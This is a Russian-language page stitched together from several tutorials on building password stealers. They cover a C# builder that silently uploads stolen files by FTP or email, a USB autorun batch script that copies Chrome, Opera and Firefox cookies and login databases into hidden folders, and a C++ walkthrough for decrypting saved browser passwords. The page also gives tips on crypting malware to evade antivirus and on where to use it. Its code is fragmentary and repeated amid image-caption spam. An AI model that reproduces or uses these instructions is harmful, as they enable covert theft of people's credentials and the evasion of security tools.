Как сделать свой стиллер паролей

Stealer на C#. Мы уложились в 9 Кб исполнимого файла

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Есть такой класс программ, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Конечно, с предварительного письменного согласия упомянутых пользователей! Этот класс программ называют Stealer. Самый яркий их представитель, UFR Stealer имеет симпатичный интерфейс, множество настроек и по какому-то недоразумению детектируется всеми известными антивирусами. А что было бы, если бы хакеры писали подобные программы на С#? Пофантазируем!

Для начала — соберись с духом и обновись наконец на бесплатную Visual Studio Community 2013 :). На дворе 2015 год, и сидеть на старой Visual Studio Express уже не круто. Как поставишь — загляни в раздел Extensions and updates и установи несколько полезных расширений, таких как Resharper или Productivity Power Tools 2013. Для анализа полученных сборок вполне подойдет бесплатный декомпилер dotPeek, это очень хорошая утилита, которая покажет, что там получилось, и может построить солюшен и файл с отладочными символами.

Кратко о программе

Ставим задачи и определяем требования

Итак, попробуем предположить, как хакеры размышляют на данном этапе. Для них проблема заключается в том, что у пользователя есть файлы, которые интересны не только ему. Возможно, юзер даже и не знает, что они существуют и где точно расположены, но от этого хакерам легче не становится. Надо каким-то образом получить их копию и посмотреть, что внутри, — кто знает, может быть, это именно то, что нужно?

Чтобы своими действиями не беспокоить пользователя, не прерывать его сериалы и не мешать общению в социальных сетях, хакеры добавляют в свои программы определенный функционал. Их программы имеют небольшой размер и молча выполняют свою работу (silent mode). Целевой платформой на сегодняшний день обычно выбирают Windows 7 и более старшие версии. XP — дело хорошее, но она сдает позиции, и, по данным одного известного антивирусного разработчика, ее доля на конец 2015 года составит всего 16–17%.

Проектируем и конструируем

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей
Solution Explorer

Основная идея этого класса заключается в формировании структуры алгоритма, который уже будет реализован в Google Chrome, ICQ, Skype и так далее.

Да, небольшое дополнение. В данном примере логика работы приложения находится внутри разделяемого класса Form, если хочется дополнительно реализовать консольный или WPF-интерфейс, то ее следует вынести отдельно и подписаться на группу ожидаемых событий. Подробнее про правильную архитектуру можно почитать у Стива Макконнелла (Code complete).

Интерфейс

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей
MainForm

На созданном в дизайнере окне накидывается меню, три комбобокса, две кнопки, шесть текстбоксов с лейблами и одиннадцать чекбоксов. Примерная группировка и расположение этих элементов показана на картинке. Стиль окна выставляется в «диалог», чтобы его нельзя было развернуть на весь экран. Иконка по вкусу, в сети есть архивы с тысячами экземпляров на любой вкус. Подписка будет реализована на три события, а именно на нажатие на копки Check all, BUILD и пункт меню «&OpenFile. ». На этом дизайн визуальной части приложения заканчивается, двигаемся дальше.

Код под кнопками мог бы быть весьма тривиальным, но, как говорится, не тут-то было. Выдержка из BUILD:

Стандартными средствами пройтись по коллекции активных чекбоксов возможно, но зачем писать так просто, когда есть красивые решения на страницах Stack Overflow? Это и объясняет появление дополнительного пространства имен для подсмотренного метода расширения, где он и расположен (по совету Трея Нэша в книге Accelerated C# 2010). Фишка этого решения также в том, что все классы, реализующие абстракцию, являются вложенными ресурсами приложения (далее показано, как это сделать) и имеют то же имя, что и текст на чекбоксах. Поэтому всего-то нужно пробежаться по всем активным элементам и собирать их имена, попутно добавляя в коллекцию и заменяя метку в классе стаб, //[Add_toList] для добавления в List и //[Class] для определения самих классов. Адрес FTP, пароль, логин и данные для почты реализованы стандартно — получил текст с элемента управления и вставил в стаб.

Получение самих ресурсов происходит следующим образом. Создается экземпляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) происходит чтение данных до конца и возврат строки текста. Переменная resourceName имеет значение @«Stealer.STUB.Stub.cs» что соответствует полному пути расположения указанного файла. Аналогичным образом ведется работа с другими элементами решения, в коде эта строка выглядит так: «@«Stealer.Targets.<0>.cs», className», где className — это имя класса и текст на чекбоксе.

Задача кнопки Check all сводится к управлению галочками сразу на всех целях. Реализуется это через приватное поле класса Form булева типа и один метод, который принимает это значение в качестве аргумента, применяя его к каждому чекбоксу. На обработчике события считывается значение указанного поля и передается методу, по завершению его работы оно меняется на противоположное.

Это класс, который будет скомпилирован в отдельную исполняемую сборку с помощь экземпляра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того чтобы он стал доступным для чтения в рантайме, нужно в его параметрах (F4) указать Build Action = Embedded Resource, а строкой ниже Do not copy. Чтобы студия не ругалась на два метода Main, в настройках проекта указывается Startup object = Stealer.Program, это на тот случай, когда класс «Стаб» не является ресурсом и можно провести анализ кода на наличие ошибок. Теперь давай посмотрим на пример кода.

В листинге не отображены методы SendViaFtp и SendViaEmail, примеры которых будут показаны далее, метод Encrypt (на самом деле конкретная реализация не имеет значения, выбирается любой симметричный алгоритм), класс AbstractFile и поля класса, которые будут хранить в себе логины, пароли а также ключи шифрования. На этом все, больше ничего интересного и нового в стабе нет.

Алгоритм получения файлов

Благодаря паттерну «Шаблонный метод» проектировать классы для поиска и получения файлов стало очень просто, можно добавлять десятки новых, и при этом не потребуется вносить никаких изменений в использующий их код, то есть стаб. Вызывающей стороне все равно, что и как реализовано внутри, называется это дело абстрагированием вариантов исполнения. Для примера посмотрим на реализацию класса GoogleChrome, из названия которого можно догадаться о том, что именно он должен найти и скопировать.

Метод ToString переопределен для того, чтобы словарь из стаба было удобнее заполнять и анализировать при получении. Другие классы по поиску файлов выглядят идентично, разница лишь в пути и, возможно, наличии дополнительных проверок в зависимости от типа хранения. Чтобы не забыть, какие методы надо реализовать от унаследованного класса, или просто сократить время клавиатурного ввода, на AbstractFile можно нажать мышкой и подождать появления подсказки implement abstract class, которая автоматически построит нужный код.

Программирование без напряга

Узнать, сколько всего можно дописать в программе без особых усилий и как сэкономить кучу времени на личных исследованиях, хакерам помогает ресурс Password Secrets of Popular Windows Applications, на нем заботливо выложена информация о расположении интересующих файлов и утилит для анализа.

Алгоритм отправки файлов

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей
SendViaFTP

Как видно на картинке главной формы приложения, в этой части будет обсуждаться пример реализации отправки по FTP и email. Начнем с первого. В конструкторе FtpWebRequest задается URL из текстбокса главной формы, который был вставлен на свою метку в стабе. К нему также добавляется имя передаваемого файла, в качестве которого используется Environment.UserName в связке с Path.GetRandomFileName. Это сделано с той целью, чтобы пользователи с одинаковыми именами не перезатирали друг друга. Метод транспортировки устанавливается в WebRequestMethods.Ftp.UploadFile, и указывается NetworkCredential(_ftpUser, _ftpPass) по аналогии с URL. Работоспособность метода проверяют на локальном FTP, для этого был использован smallftpd 1.0.3.

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей
SendViaEmail

С почтой поначалу возникали некоторые проблемы, а все из-за изменений в правилах подключения (подробнее можно почитать здесь: «Использование SmtpClient для отправления почты через SMTP-сервер»). Формирование письма начинается с вложения, и, так как в метод для отправки передается массив байтов, а конструктор Attachment ждет MemoryStream, переводим его в MemoryStream в начале метода, используя директиву using. Имя файла задается аналогично FTP. В самом сообщении MailMessage инициализируются свойства From, Subject, Body, Sender, To, и завершает эстафету вызов Attachments.Add(attachment), добавляя созданное вложение. Далее следует экземпляр SmtpClient, который заполняется аналогично сообщению. И наконец, строка smtpClient.Send(mail); отправляет сформированное письмо на почтовый сервер.

Заключение

Сегодня мы пофантазировали на тему, как мог бы выглядеть Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Замечу, что в ходе экспериментов мой антивирус начал подавать сигнал тревоги, только когда был добавлен метод Encrypt, до этого программа могла отправлять файл по FTP куда угодно. С появлением опции отправки по почте имя определяемой «малвари» изменилось на «троян»… а вот про то, как с этим борются хакеры, читай в предыдущих выпусках ][ в статье про крипторы :).

Источник

Как создать cookie-стиллер из флешки

Никогда, ни при каких условиях не сохраняйте пароли в браузере, сегодня расскажу почему.

Мы рассмотрим простой, но эффективный способ, быстро узнать пароли, который, неосторожный пользователь, а таких много, поверьте, сохранил в браузере, это ведь так удобно, правда, не надо запоминать пароль, не нужно каждый раз его вводить ручками и т.д. плюсов масса, но, есть один минус, и большой, украсть такие пароли вообще не проблема.

Сегодня, мы быстро и вообще не напрягаясь сделаем из простой флешки cookie-стиллер, а потом расшифруем файлы cookie, чтобы узнать все пароли сохраненные в браузере.

Для начала, вы должны понимать, что такое файл cookie, это, в своем роде, такой зашифрованный текстовый документ в котором храниться основная иформация о пользователе.

Но хватит теории, приступим.

Во первых, нам понадобиться флешка.

На ней мы создадим два текстовых файла:

не забудьте включить отображение расширений файлов, чтоб можно было изменить txt на inf и bat соответственно, это если вдруг кто не догадался)

дальше, в файле autorun мы пишем:[AutoRun]Open=”stealer.bat”

всё, сохранили, закрыли. Это автозапуск нашего стиллера

В файле stealer.bat пишем:

тоже сохраняем, закрываем. После чего заходим в свойства этих файлов и делаем их скрытыми. Стиллер готов.

Теперь, стоит остановиться на некоторых нюансах. А именно:

В Windows 10 (и 8) наш авторан не сработает, там эта возможность банально отключена. Поэтому придется придумать способ получить доступ к компьютеру и ручками запустить файл stealer.bat, благо процесс занимает очень мало времени, а придумать предлог сесть на минуту за чужой компьютер много ума не надо, ведь так? На всех предыдущих версиях винды, всё произойдет само как-только человек вставит флешку в usb порт.

Следующий нюанс, антивирус на эту манипуляцию никак не отреагирует, поэтому антивируса боятся не стоит, а вот фаервол всё это дело заблокирует на раз два. Тут важно понимать, что человек который установил и настроил фаервол, походу что-то где-то понимает и уж наверняка не будет хранить пароли в браузере, к такому персонажу нужен более тонкий подход, в следующих видео придумаем.

По нюансам всё. Теперь дальше, cookie то мы подрезали, чё с ними делать-то?

Рассказываю. Уже на своем компьютере, в идеале на виртуальной машине, удаляем нафиг свои куки. И вставляем на их место те которые у нас на флешке. Если вдруг кто не знает где храняться cookie, вот подсказка:

Google Chrome:

C:\Users\Пользователь\AppData\Local\Google\Chrome\User Data\Default (или Profile 1)\файл «Cookies» без расширения

Opera:

C:\Users\Пользователь\AppData\Roaming\Opera Software\Opera Stable\файл «Cookies»

Mozilla Firefox:

C:\Users\Пользователь\AppData\Roaming\Mozilla\Firefox\Profiles\qx1fqa6b.Default User\ файл «cookies.sqlite»

Internet Explorer 11:

Скопировали. Теперь качаем программу WebBrowserPassView и запускаем, всё. Видим на каких сайтах какие учётные записи и какие там пароли и используем их во благо и в целях безопасности)

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

А на этом пожалуй всё, не забывай, что усложнять жизнь с выполнением батников на чужом компьютере стоит только если это действительно необходимо, а в остальных случаях (когда есть возможность) проще запустить WebBrowserPassView и сразу увидеть все пароли.

Источник

Пишем стилер паролей для Chrome и Firefox на C++. Для самых маленьких

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Совсем недавно мы уже рассматривали простейшие примеры написания кейлогера и RAT на C++. Но это только начало. И сегодня мы рассмотрим написание стиллера на этом замечательном языке програмирования.

Давай ка сначала разберемся что такое «стиллер» или по-просту «стилак», хотя ты наверняка хоть немного да слышали о таком классе зловредных приложений, сегодня я тебе расскажу про них. Само название происходит от английского Stealer — похититель. Ну и соответственно названию их основная задача — вытащить из системы жертвы ценные данные, в первую очередь — пароли. В этой статье ты узнаешь, как именно они это делают, на примере извлечения паролей из браузеров Chrome и Firefox и покажу примеры кода на C++.

Браузеры, в основе которых лежит Google Chrome или Mozilla Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам в создании стиллера.

В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если вам нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом.

Что скажет антивирус?

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.

Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

Стиллер для Chrome

Сразу хочу заметить, что описанный метод подходит лишь для предидущих версий Chrome. В актульных версиях используется шифрование aes256 для данных (пароли, значения куки, кредитки и т.д.). Поэтому можете воспринимать этот материал больше для общепознавательных целей.

Начнем с браузера Google Chrome. Для начала давайте получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

Давайте напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome):

Давай, вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family = 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family = 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. После этого мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

Функция SHGetFolderPath уже устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема кроется в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давайте скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера:

Теперь подключаемся к базе командой sqlite3_open_v2. Её прототип:

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки:

Обратите внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec():

Эта функция имеет такой прототип:

Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

Давайте остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет использоваться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

А теперь приступим непосредственно к дешифровке паролей. База данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя вытащить базу данных паролей, а потом расшифровать ее уже на своем компьютере (об этом мы писали в статье «Где в Chrome хранятся пароли»). Для расшифровки данных нам потребуется функция CryptUnprotectData:

После этого выделяем память и заполняем массив passwds расшифрованными данными:

Собственно, на этом всё! После этого passwds будет содержать учетные записи пользователей и URL. Можно эту информацию вывести на экран или сохранить в файл. Ну или отправить куда-нибудь. Но об этом мы поговорим в другой раз.

Стиллер для Firefox

Переходим к Firefox. Тут всё будет немного посложнее. Для начала давайте получим путь до базы данных паролей Firefox. Помните, в нашей универсальной функции get_browser_path мы передавали параметр browser_family? В случае Chrome он был равен нулю, а для Firefox установим 1:

В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до каталога пользователя. Дело в том, что имя каталога пользовательского профиля генерируется случайным образом. Но это не помеха, ведь известно начало пути (\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json«. Именно в этом файле хранятся данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде:

В самом конце переменная db_loc, которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json, а функция возвращает 1, сигнализируя о том, что она отработала корректно.

Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile, как советует MSDN:

Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

Network Security Services (NSS)

Браузер Firefox активно использует функции Network Security Services для реализации шифрования своей базы паролей. Эти функции находятся в динамической библиотеке, которая лежит по адресу:

Все интересующие функции придется получать из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:

Это функции инициализации механизма NSS и расшифровки данных. Давайте напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно:

Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать регулярные выражения и их возможности в C++ 11:

Защита от стиллера паролей

Мы разобрались, как хранятся пароли в разных браузерах, и узнали, что нужно делать, чтобы их извлечь. Можно ли защититься от подобных методов восстановления сохраненных паролей? Да, конечно. Если установить в браузере мастер-пароль, то он выступит в качестве криптографической соли для расшифровки базы данных паролей. Без её знания восстановить данные будет невозможно.

Ну как? Немного разобрался? Оставайся с нами и ты узнаешь больше!

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Источник

Пишем стилер. как вытащить пароли chrome и firefox своими руками

Создаём стиллер паролей для браузеров

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.

Создаём текстовый документ и пишем туда следующий код:

d0GoogleCD/D %APPDATA%OperaOperacopy /y wand.dat %

d0Operacopy /y coockies.dat %

d0Operacd %AppData%MozillaFirefoxProfiles*.def-aultcopy /y coockies.sqlite %

d0Mozillacopy /y key3.db %

d0Mozillacopy /y signons.sqlite %

d0Mozillacopy /y AppData%MozillaFirefoxProfiles*.def-ault %

d0Mozillacd %localappdata%GoogleChromeUser DataDefaultcopy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%

Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.

Теперь нужно создать файл autorun.inf со следующей командой:

Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.

Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.

Как создать свой стиллер?

Браузеры в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом. Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом. Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

В чистом виде стиллер никто не распространяет – перед этим его криптуют (процесс наращивание на ваш файл лишней мишуры для избавления от детектов, криптования бывают очень разными. А вообще самый хороший вариант это чистить исходный код, но естественно вам его никто не покажет, если вы пользователь софта, а не его создатель. Услуги криптования стоят примерно 7-15 долларов, если их покупать. Обновлять крипт нужно в зависимости от того как и куда вы льете трафик.

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Некоторые сканеры наращивают детекты, а некоторые – нет, но думаю об этом нет смысла писать, так как на момент прочтения информация может быть уже не актуальной

Также важной деталью будет то – что нельзя лить на любой файловый обменник, так как большинство популярных проверяют файлы на вирусы и это добавляет детектов

Как защитить себя?

Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете “ловить” все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

В сети интернет мало информации о том, что такое «Стиллеры» и как ими пользоваться. Нужно помнить о том, что они создаются не просто так, ради забавы. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи. Создавать и использовать «Стиллер» определенно не стоит, так как за это могут привлечь к ответственности, в том числе и к уголовной. Нужно остерегаться «Стиллера», максимально защитив свой компьютер и не качать файлы с неизвестных источников.

Принцип работы вредоноса

Все эти данные приходят вам в админ-панель от стиллера, где указано с какого IP адреса и имени компьютера это все прилетело. Грубо говоря мы можем забрать все самое ценное, что может быть на компьютере.

После покупки вируса у хакеров вам, как правило, выдают готовую к использованию версию софта с доступом в админ-панель, к тому же дополнительно настраивать уже ничего не нужно. Пример панели на рисунке ниже.

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

Chrome

Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей Как сделать свой стиллер паролей. Смотреть фото Как сделать свой стиллер паролей. Смотреть картинку Как сделать свой стиллер паролей. Картинка про Как сделать свой стиллер паролей. Фото Как сделать свой стиллер паролей

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию. Теперь начинаем непосредственно обрабатывать данные в базе

Для этого воспользуемся функцией

